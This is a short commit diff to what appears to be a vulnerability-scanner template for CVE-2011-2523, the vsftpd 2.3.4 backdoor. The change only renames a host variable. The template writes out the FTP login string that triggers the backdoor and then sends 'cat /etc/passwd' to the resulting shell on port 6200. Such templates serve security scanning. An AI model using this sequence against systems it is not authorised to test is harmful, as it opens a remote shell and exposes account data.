Update CVE-2011-2523.yaml (#6975)

network/cves/2011/CVE-2011-2523.yaml

@@ -21,19 +21,18 @@ info:
 variables:
   cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
 
-
 network:
   - inputs:
       - data: "USER letmein:)\r\nPASS please\r\n"
         read: 100
     host:
-      - "{{Hostname}}:21"
+      - "{{Host}}:21"
 
   - inputs:
       - data: "{{cmd}}\n"
         read: 100
     host:
-      - "{{Hostname}}:6200"
+      - "{{Host}}:6200"
 
     matchers:
       - type: regex